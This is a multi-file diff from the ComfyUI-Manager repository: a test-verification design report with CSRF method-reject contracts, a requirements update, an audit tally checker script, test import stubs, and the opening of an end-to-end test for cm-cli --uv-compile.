**Verification structure**:
|
||||
1. **Induce failure state**: delete dependency, corrupt a file, disable a pack
|
||||
2. **Invoke recovery operation**: fix, restore, re-enable
|
||||
3. **Assertion**: state is healthy again; pack/module loads
|
||||
4. **Negative check**: no data loss; original files preserved where applicable
|
||||
|
||||
**Examples**: F1 (fix dependency), E1 (enable disabled), SR5 (restore snapshot)
|
||||
|
||||
## 7.8 Concurrency Safety Template
|
||||
|
||||
**Goal**: Parallel or duplicated operations don't corrupt state.
|
||||
|
||||
**Verification structure**:
|
||||
1. **Setup parallel trigger**: fire multiple start/reset/task commands in rapid succession
|
||||
2. **Assertions**:
|
||||
- No duplicate worker thread (single pid in logs)
|
||||
- No task processed twice (idempotent task-id check)
|
||||
- No race-condition data corruption (e.g., half-written config)
|
||||
3. **Stress test variant**: N parallel requests, assert linearized outcome
|
||||
|
||||
**Examples**: S2 (duplicate start), R1 (reset during processing)
|
||||
|
||||
---
|
||||
|
||||
# Section 8 — Verification Matrix Summary
|
||||
|
||||
| Intent category | Template | Scenarios using | Test type needed |
|
||||
|---|---|---:|---|
|
||||
| User capability | 7.1 | 62 | E2E effect verification (real install/remove/save etc.) |
|
||||
| Input resilience | 7.2 | 32 | Negative tests with negative-check assertions |
|
||||
| Security boundary | 7.3 | 15 | Permission tests at each security level |
|
||||
| Observability | 7.4 | 16 | GET correctness + traceability tests |
|
||||
| Idempotency | 7.5 | 14 | Repeat-call tests |
|
||||
| Data integrity | 7.6 | 8 | Cross-restart persistence tests |
|
||||
| Recovery | 7.7 | 5 | Fault-injection tests |
|
||||
| Concurrency safety | 7.8 | 2 | Parallel-call stress tests |
|
||||
|
||||
---
|
||||
|
||||
# Section 9 — Practical Implementation Priority
|
||||
|
||||
Based on security impact + existing coverage gaps:
|
||||
|
||||
## 🔴 Must-add (security + integrity)
|
||||
1. **Path traversal tests** for snapshot/remove, snapshot/restore, queue/history (Section 7.3 path sub-template)
|
||||
2. **Security gate 403 tests** for each tier — requires running with restricted security_level in separate test run
|
||||
3. **Config persistence across restart** — set db_mode → reboot → verify (Section 7.6)
|
||||
|
||||
## 🟡 Should-add (coverage quality)
|
||||
4. **UI-driven install/uninstall flow** (LB1-LB3) — convert debug-install-flow.spec.ts to assertion test
|
||||
5. **install_model effect** — current test only checks 200; add queue/status verification (Goal IM1)
|
||||
6. **Fix recovery test** — induce broken dependency, verify fix heals (Goal F1)
|
||||
|
||||
## 🟢 Nice-to-have
|
||||
7. Concurrency tests (duplicate queue/start; parallel task queueing)
|
||||
8. get_current snapshot content fidelity — compare to actual installed state
|
||||
9. Update version bump verification — test install v1.0.0 → update → expect v1.0.1 marker
|
||||
|
||||
---
|
||||
|
||||
# Section 10 — Security Mitigation Contracts
|
||||
|
||||
Layer: CSRF method-rejection (GET→POST conversion, commit `99caef55`). This section formalizes the contract exercised by TWO test files — one per server variant (mutex loading via `--enable-manager-legacy-ui`):
|
||||
|
||||
- `tests/e2e/test_e2e_csrf.py` — glob server (4 functions / 26 parametrized invocations — post-WI-HH; was 29 before the 3 dual-purpose endpoints were removed from the reject-GET fixture)
|
||||
- `tests/e2e/test_e2e_csrf_legacy.py` — legacy server (4 functions / 26 parametrized invocations; WI-FF added, WI-GG audit-integrated)
|
||||
|
||||
Scope is deliberately narrow — see each test file's SCOPE docstring: only the method-reject layer, not Origin/Referer/same-site/anti-token defenses (those are handled by `origin_only_middleware` at the aiohttp layer and are out of scope here). The full 16-endpoint inventory is recorded in `reports/endpoint_scenarios.md` under "CSRF Method-Reject Contract Inventory"; the legacy file substitutes `/v2/manager/queue/batch` for `/v2/manager/queue/task` (glob-only) and scopes the 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) to the ALLOW-GET class only.
|
||||
|
||||
## 10.1 CSRF Method-Reject Contract
|
||||
|
||||
### Goal CSRF-M1 — State-changing endpoints reject HTTP GET (13 endpoints, post-WI-HH)
|
||||
- **Precondition**: ComfyUI running; the 13 state-changing endpoints from `STATE_CHANGING_POST_ENDPOINTS` declared as `@routes.post(...)` in `comfyui_manager/glob/manager_server.py` (mirror in `comfyui_manager/legacy/manager_server.py`) — post-WI-HH count; excludes the 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) whose GET path legitimately reads the current value
|
||||
- **Action**: HTTP GET to each endpoint path (no body, `allow_redirects=False`, module-scoped ComfyUI fixture)
|
||||
- **Observable**: HTTP status code; response body (first 200 chars on failure)
|
||||
- **Assertion**: `status_code not in range(200, 400)` AND `status_code in (400, 403, 404, 405)` for every path in the 13-endpoint fixture (post-WI-HH; the legacy counterpart also iterates 13 paths after substituting `queue/batch` for `queue/task`)
|
||||
- **Negative check**: no 2xx success and no 3xx redirect on any state-changing path (blocks `<img src=...>`, link-click, and redirect-based cross-origin triggers — CVSS 8.1 vector from XlabAI/Tencent Xuanwu report)
|
||||
- **Test reference** (glob): `tests/e2e/test_e2e_csrf.py::TestStateChangingEndpointsRejectGet::test_get_is_rejected` (1 function × 13 parametrized invocations — post-WI-HH)
|
||||
- **Test reference** (legacy): `tests/e2e/test_e2e_csrf_legacy.py::TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected` (1 function × 13 parametrized invocations — `queue/batch` replaces `queue/task`; the 3 dual-purpose endpoints are covered via the read-path under CSRF-M3)
|
||||
|
||||
### Goal CSRF-M2 — POST counterparts still succeed (positive control)
|
||||
- **Precondition**: ComfyUI running; clean snapshot state
|
||||
- **Action**: POST `/v2/manager/queue/reset` (no-op reset), then POST `/v2/snapshot/save` (creates a snapshot, cleaned up via `/v2/snapshot/remove`)
|
||||
- **Observable**: HTTP 200 response on both POSTs; on save, the new entry is observable via `/v2/snapshot/getlist`
|
||||
- **Assertion**: `status_code == 200` for both POSTs; cleanup removes the just-created snapshot
|
||||
- **Negative check**: the CSRF fix must NOT break the legitimate POST path (regression guard — functional equivalence of the converted endpoints must hold)
|
||||
- **Test reference** (glob): `tests/e2e/test_e2e_csrf.py::TestCsrfPostWorks` (2 functions: `test_queue_reset_post_works`, `test_snapshot_save_post_works`)
|
||||
- **Test reference** (legacy): `tests/e2e/test_e2e_csrf_legacy.py::TestLegacyCsrfPostWorks` (2 functions — same endpoints, legacy server fixture)
|
||||
|
||||
### Goal CSRF-M3 — Read-only endpoints still allow GET (negative control, 11 endpoints)
|
||||
- **Precondition**: ComfyUI running
|
||||
- **Action**: HTTP GET to 11 read-only endpoints: `/v2/manager/version`, `/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list`, `/v2/manager/queue/status`, `/v2/manager/queue/history_list`, `/v2/manager/is_legacy_manager_ui`, `/v2/customnode/installed`, `/v2/snapshot/getlist`, `/v2/snapshot/get_current`, `/v2/comfyui_manager/comfyui_versions`
|
||||
- **Observable**: HTTP status code
|
||||
- **Assertion**: `status_code == 200` for every read-only path
|
||||
- **Negative check**: the CSRF fix must NOT over-correct by making pure-read endpoints POST-only (would break UI flows that `<img>`-safe-read via GET). Note: the 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) appear in BOTH CSRF-M1 (write path requires POST; plain GET is rejected) AND CSRF-M3 (read path still answers GET 200); this dual appearance is intentional — they were split into GET (read) + POST (write) by 99caef55.
|
||||
- **Test reference** (glob): `tests/e2e/test_e2e_csrf.py::TestCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds` (1 function × 11 parametrized invocations)
|
||||
- **Test reference** (legacy): `tests/e2e/test_e2e_csrf_legacy.py::TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds` (1 function × 11 parametrized invocations — same endpoint list)
|
||||
|
||||
## 10.2 Out-of-Scope CSRF Layers (tracked for future verification)
|
||||
- **Origin/Referer validation** — `origin_only_middleware` (aiohttp layer); not exercised by `test_e2e_csrf.py`
|
||||
- **Same-site cookie enforcement** — browser-layer concern; not server-testable in isolation
|
||||
- **Anti-CSRF token verification** — not implemented in current codebase
|
||||
- **Cross-site form POST defense** — subsumed by Origin validation above
|
||||
|
||||
These remain Goals for future work; do not infer coverage from Goals CSRF-M1/M2/M3.
|
||||
|
||||
---
|
||||
*End of Verification Design Report*
|
||||
@@ -1,4 +1,5 @@
|
||||
GitPython
|
||||
pygit2>=1.18 # clone_repository(proxy=...) requires 1.18.0+
|
||||
PyGithub
|
||||
# matrix-nio
|
||||
transformers
|
||||
@@ -9,3 +10,5 @@ typing-extensions
|
||||
toml
|
||||
uv
|
||||
chardet
|
||||
packaging
|
||||
nh3>=0.3.7
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Self-verify reports/e2e_verification_audit.md tally consistency.
|
||||
|
||||
For each test-file section, parse the verdict column of every row in the
|
||||
section's table and count PASS / WEAK / INADEQUATE / N/A symbols. Cross-check
|
||||
against (a) the section's own "File verdict: ..." line and (b) the Summary
|
||||
Matrix row for that filename.
|
||||
|
||||
Exit 0 on full consistency, 1 on any mismatch.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
AUDIT = Path(__file__).resolve().parent.parent / "reports" / "e2e_verification_audit.md"
|
||||
|
||||
PASS_SYM = "\u2705"
|
||||
WEAK_SYM = "\u26a0"
|
||||
INADEQ_SYM = "\u274c"
|
||||
|
||||
SECTION_RE = re.compile(
|
||||
r"^(?:# Section \d+|## \d+\.)\s+\u2014?\s*(?P<file>\S+\.(?:py|spec\.ts))"
|
||||
)
|
||||
VERDICT_LINE_RE = re.compile(r"^\*\*File verdict\*\*:\s*(?P<body>.+)$")
|
||||
SUMMARY_ROW_RE = re.compile(
|
||||
r"^\|\s*(?P<file>[^|]+?)\s*\|"
|
||||
r"\s*(?P<p>\d+)\s*\|"
|
||||
r"\s*(?P<w>\d+)\s*\|"
|
||||
r"\s*(?P<i>\d+)\s*\|"
|
||||
r"\s*(?P<n>\d+)\s*\|"
|
||||
r"\s*(?P<t>\d+)\s*\|\s*$"
|
||||
)
|
||||
TOTAL_ROW_RE = re.compile(
|
||||
r"^\|\s*\*\*TOTAL\*\*\s*\|"
|
||||
r"\s*\*\*(?P<p>\d+)\*\*\s*\|"
|
||||
r"\s*\*\*(?P<w>\d+)\*\*\s*\|"
|
||||
r"\s*\*\*(?P<i>\d+)\*\*\s*\|"
|
||||
r"\s*\*\*(?P<n>\d+)\*\*\s*\|"
|
||||
r"\s*\*\*(?P<t>\d+)\*\*\s*\|\s*$"
|
||||
)
|
||||
ALL_N_TESTS_RE = re.compile(r"All\s+(\d+)\s+tests", re.IGNORECASE)
|
||||
|
||||
|
||||
def count_symbols(line: str) -> tuple[int, int, int, int]:
|
||||
p = line.count(PASS_SYM)
|
||||
w = line.count(WEAK_SYM)
|
||||
i = line.count(INADEQ_SYM)
|
||||
n = 0
|
||||
if re.search(r"\|\s*N/A\s*\|", line) or re.search(r"\|\s*N/A\s*\u2014", line):
|
||||
bulk = ALL_N_TESTS_RE.search(line)
|
||||
n = int(bulk.group(1)) if bulk else 1
|
||||
return p, w, i, n
|
||||
|
||||
|
||||
def parse_file_verdict(body: str) -> tuple[int, int, int, int]:
|
||||
p = w = i = n = 0
|
||||
for match in re.finditer(r"(\d+)/\d+\s*(\S)", body):
|
||||
num, sym = int(match.group(1)), match.group(2)
|
||||
if sym == PASS_SYM:
|
||||
p = num
|
||||
elif sym == WEAK_SYM:
|
||||
w = num
|
||||
elif sym == INADEQ_SYM:
|
||||
i = num
|
||||
n_match = re.search(r"(\d+)/\d+\s*N/A", body)
|
||||
if n_match:
|
||||
n = int(n_match.group(1))
|
||||
return p, w, i, n
|
||||
|
||||
|
||||
def main() -> int:
|
||||
content = AUDIT.read_text(encoding="utf-8").splitlines()
|
||||
|
||||
sections: dict[str, dict[str, tuple[int, int, int, int]]] = {}
|
||||
current_file: str | None = None
|
||||
row_tally = (0, 0, 0, 0)
|
||||
in_table = False
|
||||
|
||||
for line in content:
|
||||
m = SECTION_RE.match(line)
|
||||
if m:
|
||||
if current_file is not None:
|
||||
sections.setdefault(current_file, {})["rows"] = row_tally
|
||||
current_file = os.path.basename(m.group("file").strip())
|
||||
row_tally = (0, 0, 0, 0)
|
||||
in_table = False
|
||||
continue
|
||||
if current_file is None:
|
||||
continue
|
||||
if line.startswith("| Test ") or re.match(r"^\|\s*-+", line) or line.startswith("|---"):
|
||||
in_table = True
|
||||
continue
|
||||
if in_table and line.startswith("|"):
|
||||
p, w, i, n = count_symbols(line)
|
||||
row_tally = (row_tally[0] + p, row_tally[1] + w, row_tally[2] + i, row_tally[3] + n)
|
||||
continue
|
||||
if in_table and not line.startswith("|"):
|
||||
in_table = False
|
||||
fv = VERDICT_LINE_RE.match(line)
|
||||
if fv and current_file:
|
||||
sections.setdefault(current_file, {})["file_verdict"] = parse_file_verdict(fv.group("body"))
|
||||
|
||||
if current_file is not None:
|
||||
sections.setdefault(current_file, {})["rows"] = row_tally
|
||||
|
||||
summary_rows: dict[str, tuple[int, int, int, int, int]] = {}
|
||||
total_row: tuple[int, int, int, int, int] | None = None
|
||||
for line in content:
|
||||
tm = TOTAL_ROW_RE.match(line)
|
||||
if tm:
|
||||
total_row = (
|
||||
int(tm.group("p")), int(tm.group("w")), int(tm.group("i")),
|
||||
int(tm.group("n")), int(tm.group("t")),
|
||||
)
|
||||
continue
|
||||
sm = SUMMARY_ROW_RE.match(line)
|
||||
if sm:
|
||||
name = sm.group("file").strip()
|
||||
if name.lower() == "file" or name.startswith("**") or name.startswith("---"):
|
||||
continue
|
||||
summary_rows[name] = (
|
||||
int(sm.group("p")), int(sm.group("w")), int(sm.group("i")),
|
||||
int(sm.group("n")), int(sm.group("t")),
|
||||
)
|
||||
|
||||
ok = True
|
||||
print(f"Audit: {AUDIT}")
|
||||
print(f"Sections parsed: {len(sections)} Summary rows parsed: {len(summary_rows)}")
|
||||
print("-" * 90)
|
||||
hdr = f"{'File':44} {'Rows(P W I N)':16} {'FileVerdict':16} {'Summary(P W I N T)':20} OK"
|
||||
print(hdr)
|
||||
print("-" * 90)
|
||||
|
||||
section_totals = [0, 0, 0, 0, 0]
|
||||
for name, data in sections.items():
|
||||
rows = data.get("rows", (0, 0, 0, 0))
|
||||
fv = data.get("file_verdict", (0, 0, 0, 0))
|
||||
sm_row = summary_rows.get(name)
|
||||
|
||||
row_str = "{} {} {} {}".format(*rows)
|
||||
fv_str = "{} {} {} {}".format(*fv) if fv != (0, 0, 0, 0) else "(none)"
|
||||
sm_str = "{} {} {} {} {}".format(*sm_row) if sm_row else "(missing)"
|
||||
|
||||
row_matches_sm = sm_row is not None and rows == sm_row[:4]
|
||||
fv_matches_rows = fv == rows
|
||||
this_ok = row_matches_sm and fv_matches_rows
|
||||
mark = "\u2713" if this_ok else "\u2717"
|
||||
if not this_ok:
|
||||
ok = False
|
||||
print(f"{name:44} {row_str:16} {fv_str:16} {sm_str:20} {mark}")
|
||||
if sm_row:
|
||||
for idx in range(5):
|
||||
section_totals[idx] += sm_row[idx]
|
||||
|
||||
unseen_summary = set(summary_rows.keys()) - set(sections.keys())
|
||||
for name in unseen_summary:
|
||||
sm_row = summary_rows[name]
|
||||
for idx in range(5):
|
||||
section_totals[idx] += sm_row[idx]
|
||||
print(f"{name:44} {'(no section)':16} {'(n/a)':16} {'{} {} {} {} {}'.format(*sm_row):20} -")
|
||||
|
||||
print("-" * 90)
|
||||
if total_row:
|
||||
reported_total = total_row
|
||||
computed = tuple(section_totals)
|
||||
total_ok = reported_total == computed
|
||||
mark = "\u2713" if total_ok else "\u2717"
|
||||
print(f"{'TOTAL (from Summary)':44} reported={reported_total} computed={computed} {mark}")
|
||||
if not total_ok:
|
||||
ok = False
|
||||
else:
|
||||
print("TOTAL row NOT FOUND")
|
||||
ok = False
|
||||
|
||||
print()
|
||||
print("PASS" if ok else "FAIL")
|
||||
return 0 if ok else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,177 @@
|
||||
"""Shared test-support for the goal265 dedicated-install-flag test modules.
|
||||
|
||||
NOT a test module (no ``test_`` prefix — pytest does not collect it).
|
||||
|
||||
Provides minimal runtime stubs so ``comfyui_manager`` package modules can be
|
||||
imported in a plain dev venv (outside a real ComfyUI runtime):
|
||||
|
||||
- ``comfy.cli_args.args`` — consumed by ``comfyui_manager/__init__.py`` at
|
||||
package import time (``from comfy.cli_args import args``). The stub pins
|
||||
``listen='127.0.0.1'`` (loopback) which matches the default precondition of
|
||||
every scenario row (goal265-scenarios.md §0 preamble).
|
||||
- ``folder_paths`` — consumed by ``comfyui_manager/common/context.py`` at
|
||||
import time to derive the manager user directory. The stub redirects it to
|
||||
a throwaway temp dir so importing the package NEVER creates directories
|
||||
inside the repository checkout.
|
||||
|
||||
SUITE-ORDER INDEPENDENCE (goal265 FU, task #293): every public ``import_*``
|
||||
entry point is self-sufficient — it repairs whatever ``sys.modules`` state
|
||||
earlier test modules left behind, instead of assuming a pristine interpreter:
|
||||
|
||||
- Other test modules legitimately install FAKE ``comfyui_manager`` lineage
|
||||
entries at module level (e.g. tests/test_unified_dep_resolver.py:63-73
|
||||
registers a plain ``types.ModuleType("comfyui_manager")`` — NOT a package,
|
||||
no ``__path__`` — to host a file-loaded module under a dotted name). Those
|
||||
modules are imported at pytest COLLECTION time, so under full-suite
|
||||
ordering the fake is already in ``sys.modules`` before any fixture here
|
||||
runs, and ``import comfyui_manager.glob.manager_core`` dies with
|
||||
``ModuleNotFoundError: 'comfyui_manager' is not a package``.
|
||||
- ``_purge_fake_comfyui_manager()`` therefore validates the cached lineage
|
||||
against the REAL package directory on disk and drops fake/broken entries
|
||||
before importing. Dropping ``sys.modules`` entries is safe for the other
|
||||
test modules: they hold direct object references to what they loaded;
|
||||
they do not re-resolve through ``sys.modules``.
|
||||
- ``ensure_comfy_stubs()`` likewise repairs half-formed ``comfy`` /
|
||||
``folder_paths`` entries (present but missing the attributes we need)
|
||||
rather than only handling the absent case.
|
||||
|
||||
Used by:
|
||||
- tests/test_install_flags_config.py (dual-reader config tests)
|
||||
- tests/test_install_flags_guards.py (out-of-scope guard tests)
|
||||
|
||||
Spec SoT: ~/.claude/pair-cowork/scratch/gm-team/goal265-spec.md §4
|
||||
(test surface contract — binding for Step-4 test authoring).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import types
|
||||
|
||||
#: repo root (parent of tests/)
|
||||
REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), ".."))
|
||||
|
||||
#: the real on-disk package directory the cached lineage must resolve to
|
||||
_REAL_PKG_DIR = os.path.join(REPO_ROOT, "comfyui_manager")
|
||||
|
||||
|
||||
def ensure_comfy_stubs() -> None:
|
||||
"""Install or REPAIR minimal ``comfy``/``folder_paths`` stubs (idempotent).
|
||||
|
||||
Handles three prior states per module:
|
||||
- absent -> install a fresh stub
|
||||
- present but inadequate -> patch the missing attributes in place
|
||||
(another test's stub, or a partially-initialized real module)
|
||||
- present and adequate -> leave untouched (e.g. real ComfyUI runtime)
|
||||
"""
|
||||
# --- comfy.cli_args.args ------------------------------------------------
|
||||
comfy = sys.modules.get("comfy")
|
||||
if comfy is None:
|
||||
comfy = types.ModuleType("comfy")
|
||||
sys.modules["comfy"] = comfy
|
||||
|
||||
cli_args = sys.modules.get("comfy.cli_args")
|
||||
if cli_args is None:
|
||||
cli_args = getattr(comfy, "cli_args", None)
|
||||
if not isinstance(cli_args, types.ModuleType):
|
||||
cli_args = types.ModuleType("comfy.cli_args")
|
||||
sys.modules["comfy.cli_args"] = cli_args
|
||||
|
||||
args = getattr(cli_args, "args", None)
|
||||
if args is None or not hasattr(args, "listen"):
|
||||
setattr(cli_args, "args", types.SimpleNamespace(
|
||||
listen="127.0.0.1",
|
||||
enable_manager=True,
|
||||
enable_manager_legacy_ui=False,
|
||||
))
|
||||
# re-link parent attr idempotently (a bare ``comfy`` stub from another
|
||||
# test may lack the submodule attribute even when both entries exist)
|
||||
setattr(comfy, "cli_args", cli_args)
|
||||
|
||||
# --- folder_paths -------------------------------------------------------
|
||||
fp = sys.modules.get("folder_paths")
|
||||
if fp is None:
|
||||
fp = types.ModuleType("folder_paths")
|
||||
sys.modules["folder_paths"] = fp
|
||||
if not hasattr(fp, "get_system_user_directory"):
|
||||
base = tempfile.mkdtemp(prefix="cm-flags-test-user-")
|
||||
setattr(fp, "get_system_user_directory",
|
||||
lambda name: os.path.join(base, name))
|
||||
|
||||
|
||||
def _module_is_real(mod: types.ModuleType) -> bool:
|
||||
"""True when a cached ``comfyui_manager*`` module resolves to the real
|
||||
on-disk package tree (by ``__path__`` for packages, ``__file__`` for
|
||||
leaf modules)."""
|
||||
real_root = os.path.abspath(_REAL_PKG_DIR)
|
||||
paths = getattr(mod, "__path__", None)
|
||||
if paths is not None:
|
||||
return any(os.path.abspath(p).startswith(real_root) for p in paths)
|
||||
file = getattr(mod, "__file__", None)
|
||||
if file is not None:
|
||||
return os.path.abspath(file).startswith(real_root)
|
||||
# neither __path__ nor __file__: a bare ModuleType fake
|
||||
return False
|
||||
|
||||
|
||||
def _purge_fake_comfyui_manager() -> None:
|
||||
"""Drop fake/broken ``comfyui_manager`` lineage entries from
|
||||
``sys.modules`` so a subsequent real-package import succeeds.
|
||||
|
||||
Uniform rule — an entry is dropped iff it does NOT resolve to the real
|
||||
on-disk package tree:
|
||||
|
||||
- A fake top-level entry (bare ``ModuleType`` without ``__path__`` —
|
||||
'not a package') is dropped so the real package can import.
|
||||
- Fake SUBentries injected under dotted names (e.g.
|
||||
``comfyui_manager.common.manager_util`` replaced by a stub) are
|
||||
dropped; the import machinery re-imports the real module on next
|
||||
access.
|
||||
- REAL-file modules registered under dotted names by other test
|
||||
modules (e.g. ``comfyui_manager.common.unified_dep_resolver`` loaded
|
||||
via spec_from_file_location by tests/test_unified_dep_resolver.py)
|
||||
are KEPT: those tests later resolve the SAME cached entry through
|
||||
``mock.patch("comfyui_manager.common.unified_dep_resolver.X")``;
|
||||
evicting it would make mock.patch import a fresh second instance and
|
||||
silently patch the wrong module object.
|
||||
"""
|
||||
lineage = [n for n in list(sys.modules)
|
||||
if n == "comfyui_manager" or n.startswith("comfyui_manager.")]
|
||||
for name in lineage:
|
||||
mod = sys.modules.get(name)
|
||||
if mod is None or not _module_is_real(mod):
|
||||
del sys.modules[name]
|
||||
|
||||
|
||||
def _import_real(dotted: str):
|
||||
"""ensure stubs -> purge fakes -> import; shared by all entry points."""
|
||||
ensure_comfy_stubs()
|
||||
_purge_fake_comfyui_manager()
|
||||
return importlib.import_module(dotted)
|
||||
|
||||
|
||||
def import_reader(reader: str):
|
||||
"""Import and return ``comfyui_manager.<reader>.manager_core``.
|
||||
|
||||
``reader`` is ``"glob"`` or ``"legacy"`` — the two independent config
|
||||
reader implementations sharing one config.ini (dual-reader rule,
|
||||
goal265-mm.md §1.1 / goal265-spec.md §3).
|
||||
"""
|
||||
assert reader in ("glob", "legacy"), reader
|
||||
return _import_real(f"comfyui_manager.{reader}.manager_core")
|
||||
|
||||
|
||||
def import_context():
|
||||
"""Import and return ``comfyui_manager.common.context`` (holds
|
||||
``manager_config_path``, consumed by both readers at call time)."""
|
||||
return _import_real("comfyui_manager.common.context")
|
||||
|
||||
|
||||
def import_glob_security_utils():
|
||||
"""Import and return ``comfyui_manager.glob.utils.security_utils``
|
||||
(the glob copy of the security_level gate matrix — guard rows
|
||||
SC-25C / SC-28)."""
|
||||
return _import_real("comfyui_manager.glob.utils.security_utils")
|
||||
@@ -0,0 +1,304 @@
|
||||
"""E2E tests for cm-cli --uv-compile across all supported commands.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Supply-chain safety policy:
|
||||
To prevent supply-chain attacks, E2E tests MUST only install node packs
|
||||
from verified, controllable authors (ltdrdata, comfyanonymous, etc.).
|
||||
Currently this suite uses only ltdrdata's dedicated test packs
|
||||
(nodepack-test1-do-not-install, nodepack-test2-do-not-install) which
|
||||
are intentionally designed for conflict testing and contain no
|
||||
executable code. Adding packs from unverified sources is prohibited.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_uv_compile.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
import pytest
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
|
||||
# Cross-platform: resolve cm-cli executable in venv
|
||||
if E2E_ROOT:
|
||||
if sys.platform == "win32":
|
||||
CM_CLI = os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
|
||||
else:
|
||||
CM_CLI = os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
|
||||
else:
|
||||
CM_CLI = ""
|
||||
|
||||
REPO_TEST1 = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
|
||||
REPO_TEST2 = "https://github.com/ltdrdata/nodepack-test2-do-not-install"
|
||||
PACK_TEST1 = "nodepack-test1-do-not-install"
|
||||
PACK_TEST2 = "nodepack-test2-do-not-install"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _run_cm_cli(*args: str, timeout: int = 180) -> subprocess.CompletedProcess:
|
||||
"""Run cm-cli in the E2E environment.
|
||||
|
||||
Uses file-based capture instead of pipes to avoid Windows pipe buffer
|
||||
loss when the subprocess exits via typer.Exit / sys.exit.
|
||||
"""
|
||||
env = {
|
||||
**os.environ,
|
||||
"COMFYUI_PATH": COMFYUI_PATH,
|
||||
"PYTHONUNBUFFERED": "1",
|
||||
}
|
||||
stdout_path = os.path.join(E2E_ROOT, f"_cm_stdout_{os.getpid()}.tmp")
|
||||
stderr_path = os.path.join(E2E_ROOT, f"_cm_stderr_{os.getpid()}.tmp")
|
||||
try:
|
||||
with open(stdout_path, "w", encoding="utf-8") as out_f, \
|
||||
open(stderr_path, "w", encoding="utf-8") as err_f:
|
||||
r = subprocess.run(
|
||||
[CM_CLI, *args],
|
||||
stdout=out_f,
|
||||
stderr=err_f,
|
||||
timeout=timeout,
|
||||
env=env,
|
||||
)
|
||||
with open(stdout_path, encoding="utf-8", errors="replace") as f:
|
||||
r.stdout = f.read()
|
||||
with open(stderr_path, encoding="utf-8", errors="replace") as f:
|
||||
r.stderr = f.read()
|
||||
finally:
|
||||
for p in (stdout_path, stderr_path):
|
||||
try:
|
||||
os.unlink(p)
|
||||
except OSError:
|
||||
pass
|
||||
return r
|
||||
|
||||
|
||||
def _remove_pack(name: str) -> None:
|
||||
"""Remove a node pack from custom_nodes (if it exists).
|
||||
|
||||
On Windows, file locks (antivirus, git handles) can prevent immediate
|
||||
deletion. Strategy: retry rmtree, then fall back to rename (moves the
|
||||
directory out of the resolver's scan path so stale deps don't leak).
|
||||
"""
|
||||
path = os.path.join(CUSTOM_NODES, name)
|
||||
if os.path.islink(path):
|
||||
os.unlink(path)
|
||||
return
|
||||
if not os.path.isdir(path):
|
||||
return
|
||||
# Try direct removal first
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(path)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
# Fallback: rename out of custom_nodes so resolver won't scan it
|
||||
import uuid
|
||||
trash = os.path.join(CUSTOM_NODES, f".trash_{uuid.uuid4().hex[:8]}")
|
||||
try:
|
||||
os.rename(path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(path, ignore_errors=True)
|
||||
|
||||
|
||||
def _pack_exists(name: str) -> bool:
|
||||
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _clean_trash() -> None:
|
||||
"""Remove .trash_* directories left by rename-then-delete fallback."""
|
||||
if not CUSTOM_NODES or not os.path.isdir(CUSTOM_NODES):
|
||||
return
|
||||
for name in os.listdir(CUSTOM_NODES):
|
||||
if name.startswith(".trash_"):
|
||||
shutil.rmtree(os.path.join(CUSTOM_NODES, name), ignore_errors=True)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clean_test_packs():
|
||||
"""Ensure test node packs are removed before and after each test."""
|
||||
_remove_pack(PACK_TEST1)
|
||||
_remove_pack(PACK_TEST2)
|
||||
_clean_trash()
|
||||
yield
|
||||
_remove_pack(PACK_TEST1)
|
||||
_remove_pack(PACK_TEST2)
|
||||
_clean_trash()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestInstall:
|
||||
"""cm-cli install --uv-compile"""
|
||||
|
||||
def test_install_single_pack_resolves(self):
|
||||
"""Install one test pack with --uv-compile → resolve succeeds."""
|
||||
